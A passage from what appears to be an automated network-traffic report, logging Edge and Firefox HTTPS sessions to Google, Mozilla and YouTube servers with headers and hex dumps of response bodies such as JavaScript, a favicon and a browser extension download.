63 2e 6f 6e 65 72 72 6f 72 2c 65 3d 21 21 62 3b 63 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 2c 67 2c 6b 2c 6c 29 7b 64 26 Data Ascii: g"?a.split(""):a,f=0;f<d;f++)f in e&&b.call(c,e[f],f,a)};var ca="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");var jb=function(a,b,c){c=c\|\|r;var d=c.onerror,e=!!b;c.onerror=function(f,h,g,k,l){d&
2024-07-26 06:58:00 UTC	1953	IN	Data Raw: 65 6e 67 74 68 3b 65 2b 2b 29 7b 65 3e 30 26 26 63 2e 70 75 73 68 28 22 2c 20 22 29 3b 76 61 72 20 66 3d 64 5b 65 5d 3b 73 77 69 74 63 68 28 74 79 70 65 6f 66 20 66 29 7b 63 61 73 65 20 22 6f 62 6a 65 63 74 22 3a 66 3d 66 3f 22 6f 62 6a 65 63 74 22 3a 22 6e 75 6c 6c 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 73 74 72 69 6e 67 22 3a 62 72 65 61 6b 3b 63 61 73 65 20 22 6e 75 6d 62 65 72 22 3a 66 3d 53 74 72 69 6e 67 28 66 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 62 6f 6f 6c 65 61 6e 22 3a 66 3d 66 3f 22 74 72 75 65 22 3a 22 66 61 6c 73 65 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 66 75 6e 63 74 69 6f 6e 22 3a 66 3d 28 66 3d 6c 62 28 66 29 29 3f 66 3a 22 5b 66 6e 5d 22 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 66 3d 0a 74 79 70 65 6f 66 20 66 7d 66 2e 6c Data Ascii: ength;e++){e>0&&c.push(", ");var f=d[e];switch(typeof f){case "object":f=f?"object":"null";break;case "string":break;case "number":f=String(f);break;case "boolean":f=f?"true":"false";break;case "function":f=(f=lb(f))?f:"[fn]";break;default:f=typeof f}f.l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49789	142.250.176.206	443	8868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:58:00 UTC	561	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 06:58:00 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Fri, 26 Jul 2024 06:58:00 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49790	142.250.176.206	443	8868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:58:00 UTC	561	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: x-goog-authuser Origin: https://accounts.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 06:58:00 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,origin,x-goog-authuser Content-Type: text/plain; charset=UTF-8 Date: Fri, 26 Jul 2024 06:58:00 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49791	34.160.144.191	443	1180	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:58:01 UTC	440	OUT	GET /chains/remote-settings.content-signature.mozilla.org-2023-10-29-15-54-12.chain HTTP/1.1 Host: content-signature-2.cdn.mozilla.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive If-Modified-Since: Sat, 09 Sep 2023 15:54:13 GMT If-None-Match: "defaf397a2137227b32599694fdb5208"
2024-07-26 06:58:01 UTC	190	IN	HTTP/1.1 304 Not Modified Date: Fri, 26 Jul 2024 05:49:01 GMT Age: 4140 ETag: "defaf397a2137227b32599694fdb5208" Cache-Control: public,max-age=3600 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49795	142.250.81.228	443	8868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:58:01 UTC	881	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132", "Google Chrome";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 06:58:01 UTC	704	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 26 Jul 2024 06:54:45 GMT Expires: Sat, 03 Aug 2024 06:54:45 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 196 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-26 06:58:01 UTC	686	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-07-26 06:58:01 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb ff 95 9c f4 ff cf d2 fa ff d1 d4 fa ff 96 9d f4 ff 52 5e ed ff e1 e3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 30 00 00 00 00 fd fd fd 9d ff ff ff ff e8 ea fd ff 58 63 ee ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 6c 76 f0 ff ff ff ff ff ff ff ff ff fd fd fd 98 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd c3 ff ff ff ff f9 f9 fe ff a5 ac f6 ff 5d 69 ee ff 3c 4a eb Data Ascii: 7R8F2Vb5C;IR^0Xc5C5C5C5C5C5Clv]i<J
2024-07-26 06:58:01 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff fd fd fd d0 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d8 a3 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 60 a5 35 ff ca 8e 3e ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 87 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 25 fd fd fd fb ff ff ff ff ff ff ff ff ff ff ff ff c2 e0 b7 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 6e b6 54 ff 9f ce 8d ff b7 da aa ff b8 db ab ff a5 d2 95 ff 7b bc 64 ff 54 a8 35 ff 53 a8 34 ff 77 a0 37 ff e3 89 41 ff f4 85 42 ff f4 85 42 ff fc Data Ascii: S4S4S4S4S4S4S4S4S4S4S4S4S4S4`5>%S4S4S4S4S4S4nT{dT5S4w7ABB
2024-07-26 06:58:01 UTC	1390	IN	Data Raw: f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fb d5 bf ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd cb ff ff ff ff ff ff ff ff ff ff ff ff 46 cd fc ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 21 ae f9 ff fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd c8 fd fd fd 9c ff ff ff ff ff ff ff ff ff ff ff ff 86 df fd ff 05 bc fb ff 05 bc fb ff 15 93 f5 ff 34 49 eb ff b3 b8 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBF!4I
2024-07-26 06:58:01 UTC	574	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 8d fd fd fd fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fb fd fd fd 8b fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 27 fd fd fd 9f fd fd fd f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: $'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49793	216.58.212.142	443	1180	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:58:05 UTC	440	OUT	GET /account HTTP/1.1 Host: www.youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site
2024-07-26 06:58:06 UTC	2026	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 26 Jul 2024 06:58:06 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: GPS=1; Domain=.youtube.com; Expires=Fri, 26-Jul-2024 07:28:06 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=gjyAnaIPjq4; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: VISITOR_INFO1_LIVE=A1jsir6wrTk; Domain=.youtube.com; Expires=Wed, 22-Jan-2025 06:58:06 GMT; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgWg%3D%3D; Domain=.youtube.com; Expires=Wed, 22-Jan-2025 06:58:06 GMT; Path=/; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49810	142.251.35.161	443	8868	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 06:58:06 UTC	594	OUT	GET /crx/blobs/AVsOOGgL4EVsLTMzZa-C0yXaDVW5z6pCjWzx7YKwHb9PR6v117H2hbsZgQ2S3VrQetSMoK86b9iY-_-8nYIxIJD4BasJl9SD8IoqvPIbEK9wBlfqTusC6rL6yTYDfaVSn9sAxlKa5bRpPaxsFjcmEK7Nec5bVL7NZYhc/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-26 06:58:06 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135751 X-GUploader-UploadID: AHxI1nP9Pt2WylUKqWAX7pJ4ghBo3NUuXXJejH9JT-QYq0Hmo8AXW5PdDkIG0n80xE2Vot5xb9A X-Goog-Hash: crc32c=IDdmTg== Server: UploadServer Date: Thu, 25 Jul 2024 15:56:45 GMT Expires: Fri, 25 Jul 2025 15:56:45 GMT Cache-Control: public, max-age=31536000 Age: 54081 Last-Modified: Tue, 23 Jul 2024 15:56:28 GMT ETag: 1d368626_ddaec042_86665b6c_28d780a0_b2065016 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-26 06:58:06 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e8 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-07-26 06:58:06 UTC	1390	IN	Data Raw: cb 30 5e ae fd 8f bf fc 18 3f ab aa ce 6f f5 9f 86 ea f3 4f e7 8b aa 7e fc f9 c7 ed f2 de 57 f2 ef e5 b5 1f ab 7e fc f1 97 7f fc 18 f2 a7 ba e6 52 7f be 7a 86 4d 61 da 86 e0 b6 91 9a 75 5d 9a b5 2a 9f 87 2d b7 6e 97 ac 9b be 32 73 3c 97 a6 da 8a e4 b0 45 fb 9f 36 ba 3c 2e c2 57 bd 48 91 71 68 ae 17 fd f9 3a 6a a8 79 f8 fe f7 4e dd 44 1a 5d 4e 6a fc f5 d0 bb b5 f4 df 2f a7 cb 61 8a 9a f7 7b e9 db fd f7 67 ca ce f9 92 d0 b9 66 29 ba 7e 7f 5f 98 88 8b a7 31 71 fe fe 4c da 11 23 06 47 da 8d 8d f0 51 97 77 14 c8 99 1d 4a 10 22 04 c4 8e 74 e1 33 0f c2 4d e5 0b 5b 3c 43 e7 18 dc 2e a5 0f 8d 7c 77 d8 1e 94 73 2b 4c 54 17 3e 9b 8f 26 ec 8e 26 50 a5 85 6a 61 ea eb 6e 98 0b 73 73 39 ee c2 67 61 3a ff 1e e7 f7 b3 85 53 ee a9 9e 59 f5 3e 81 0c 1d b9 f8 4a 3a 06 39 87 Data Ascii: 0^?oO~W~RzMau]*-n2s<E6<.WHqh:jyND]Nj/a{gf)~_1qL#GQwJ"t3M[<C.\|ws+LT>&&Pjanss9ga:SY>J:9
2024-07-26 06:58:06 UTC	1390	IN	Data Raw: fb 44 b0 b4 75 cd a2 45 f6 da fb af bc 3f ce 66 36 89 54 f7 7b 85 4d 64 18 16 65 30 97 1e f2 8b 3d 8c f3 00 e1 48 79 96 ec ea 1d f6 a0 d6 80 10 97 4f 10 60 43 7e 2d de bf 3f ac f5 dc 1b 32 87 63 d4 2b 25 8c c9 3d 52 f4 88 e8 d8 51 25 77 c5 5e 7a c9 5e 86 25 15 31 06 d8 2d 7b ad d1 54 eb 11 a3 53 14 2c cf 7d f9 ff d0 e0 b2 c1 43 66 d4 4a 06 e2 33 37 55 9a 78 d1 48 02 d7 8b 1b d1 0b 33 cc 70 a7 4b c1 72 2f c2 13 19 ed c4 5b a9 a0 8b 4d b9 59 5e 7b 72 2d ff 51 fb dc 0d f6 85 87 e6 ba 95 5e 68 12 00 3b 14 08 91 1b c3 91 cc 5a 03 7c cc a3 e0 a7 19 9b 8f 07 0b 70 9c 51 bc af ba f7 c7 22 7f 6b ed da 1b 3c a4 60 9b 5a c3 ab 54 de 7c 82 75 4b 00 a2 d8 aa 43 9d 31 12 d1 82 59 67 1d aa fb 81 1f 1b e0 15 11 e5 97 16 34 8b 65 ef 77 cd 57 b2 c7 ad ba 65 8d f2 aa de 35 Data Ascii: DuE?f6T{Mde0=HyO`C~-?2c+%=RQ%w^z^%1-{TS,}CfJ37UxH3pKr/[MY^{r-Q^h;Z\|pQ"k<`ZT\|uKC1Yg4ewWe5
2024-07-26 06:58:06 UTC	1390	IN	Data Raw: a3 3a 66 63 2b dc 55 dd f4 76 4a 8c 67 19 c8 cf dc c0 a9 f6 5c fb 04 0e 30 9f 45 2b 3a 9d 3b 96 d8 5b 6e bd d6 e7 9c e8 c6 a6 3c ec 04 3f 00 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 3b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 ae cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee a5 e4 ce 91 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 9e cc c8 00 69 5f 40 62 95 20 df ff 5c 62 ff d0 7c 77 74 a5 ee 94 81 37 09 f8 6e 89 76 d0 cc c3 9e ed f1 98 74 e8 44 3c ad 43 b4 7d 7c ef 37 12 7f b8 65 96 f8 5e 7f 6d d6 87 cf c8 3f 3c ff 0f fe 46 0a 5c ba b6 fe 19 70 0e 32 75 0d ee 8d af b1 e1 04 85 42 3c 9e 59 9b c0 78 a6 b0 b5 39 1f b7 d1 de cd 12 22 41 49 d1 15 ab a1 11 33 5c d4 fd b2 5b d9 73 15 d6 f9 35 bc c7 cd bb 1d 79 b6 97 eb f1 e5 7e 9d 14 50 5d 28 7c 07 9c Data Ascii: :fc+UvJg\0E+:;[n<?jOpD1;j=h&U?%h@Q6PlNf"wi_@b \b\|wt7nvtD<C}\|7e^m?<F\p2uB<Yx9"AI3\[s5y~P](\|
2024-07-26 06:58:06 UTC	1390	IN	Data Raw: f4 82 39 aa e0 7a ec d0 f9 66 30 94 41 fc df ee db 1c a9 13 e6 2d 30 13 82 a1 ce 12 31 7d 82 53 e2 83 47 45 59 27 58 b8 8f 29 06 91 69 cf 5a f8 cc 88 c6 0f 64 a8 24 03 ce ef 34 a6 34 d9 53 76 aa d1 f7 b6 0a 2b fc d4 75 76 ce 3a 75 4f 2d 57 df f3 bf de ff fb dd 66 83 81 23 92 f4 b0 c9 4d 75 c1 14 7c 9e f8 b8 ab 3c 75 20 0d 34 51 a3 0e b9 57 8f 5c c9 54 10 9d 35 cc 9b 85 ba 8d ce d3 40 ea df eb f4 bd c6 2c 8d bf 7f cb f8 66 fe ef 5a ba 1d ba 7f 9e b7 3c ff e1 39 cb 7f 7d 77 90 3e 1b 53 53 b5 ff 3a 2b 59 eb 1a b5 ef 9a f3 97 e0 e3 a3 e0 8e ca 4c fb 5e 74 ea 56 74 b6 f6 9f d3 57 e1 d7 9f b9 df 5e fe f7 bb 96 ae e7 1e 0d df 6b e7 fb 2c e6 b1 79 7f 1c 1b ef fb ff 1f ba be 0c 5d 77 5f 05 74 4c cd 62 ce b9 d6 b7 e6 3a 9d e3 7f 1f 1a cd c7 fb 67 75 fb f1 97 bf fe Data Ascii: 9zf0A-01}SGEY'X)iZd$44Sv+uv:uO-Wf#Mu\|<u 4QW\T5@,fZ<9}w>SS:+YL^tVtW^k,y]w_tLb:gu
2024-07-26 06:58:06 UTC	1390	IN	Data Raw: ad 33 4d c7 0c 67 6e 81 d6 1e 0c 0b 79 e1 e5 4a 9e 81 e8 0e 6d e9 ca e1 60 fa 07 7f fa d2 b1 1f f7 7b ac 3f 4a 13 55 ac f1 4c 7f 94 cf f0 fa f1 b6 7e 2d 9f 5f f6 86 cc fe f1 ec 09 fd 70 24 26 57 1c cf 8f 61 96 f1 4e 24 37 5b 2c f1 37 09 ff 3e 8d 4e e3 76 3b 30 89 99 dc ba 80 99 fa f5 86 7a ab 17 00 10 99 70 d6 78 75 3f ec 5d 26 c0 29 73 23 b1 4d 01 b1 bd 85 22 65 c6 ae 4d 05 29 bb 19 a4 97 d3 26 50 39 76 5a 02 7b 3b 5c cd 19 16 9a 34 6a ca 98 31 83 a3 30 c0 8d 8b 90 69 14 2e 18 a7 11 fc 43 a4 1b 50 25 a6 9a b3 38 b3 01 a7 ed 89 86 13 1f da e6 66 69 88 9b 9b cb a3 0e 88 10 49 34 ac c5 ac 87 cc 0e df 3a 83 59 3f 4a c7 9a 9c 4a 52 22 4a 73 50 10 93 5b 04 26 5d e4 1b 03 5e 57 1d b5 9f 07 15 ea 11 56 a2 32 1c 57 08 4b 8e 3a dd 14 09 a5 9a 54 87 09 2c df 70 99 Data Ascii: 3MgnyJm`{?JUL~-_p$&WaN$7[,7>Nv;0zpxu?]&)s#M"eM)&P9vZ{;\4j10i.CP%8fiI4:Y?JJR"JsP[&]^WV2WK:T,p
2024-07-26 06:58:06 UTC	1390	IN	Data Raw: 34 3d 97 d3 d8 25 32 96 b3 f5 13 f7 6e 04 c3 e8 d7 24 af 68 00 67 eb c3 66 e7 0c 80 f3 86 ed 66 61 be 93 2c c1 a2 81 5f 40 75 19 01 ec 81 b2 11 59 6b 02 01 7c 80 cd 06 9c b7 f6 39 2e 1b a2 d1 59 0b 31 ae 2b a8 f9 19 97 78 ba 9e 92 04 eb 38 0f b1 da 61 42 cf b8 b8 ab 80 50 16 da 7c e0 2a 5d 2e b6 61 3d 16 a7 f7 ad 25 37 09 0c 17 4a fa a3 b0 2f 74 b2 60 63 c4 b5 32 fd ca 4b dc 91 50 cd 08 cf a1 3e ef 10 50 75 05 0f a4 06 bb 61 21 1b 94 db 98 9a 6d 25 ee 69 db 2b 4b 9f 80 46 c6 7a 5d 13 fe 95 45 1a 44 be bd d3 f7 20 9f 7f 88 83 9f 5b 5b 41 3d 0c 7f 6e 6e 02 8a 0a a9 66 0f 64 38 ff 27 1a e0 86 95 3d 0e 65 8e 2a 9e ff b3 5a f5 13 b7 6b 4c e2 da dd 53 96 36 98 be 35 e0 8b a2 03 ec 6d 83 0f 98 a6 6a 9a 7d d4 30 cf b9 22 24 be 95 ed ae b5 82 4d 0c 6d 44 68 ea 50 Data Ascii: 4=%2n$hgffa,_@uYk\|9.Y1+x8aBP\|].a=%7J/t`c2KP>Pua!m%i+KFz]ED [[A=nnfd8'=eZkLS65mj}0"$MmDhP
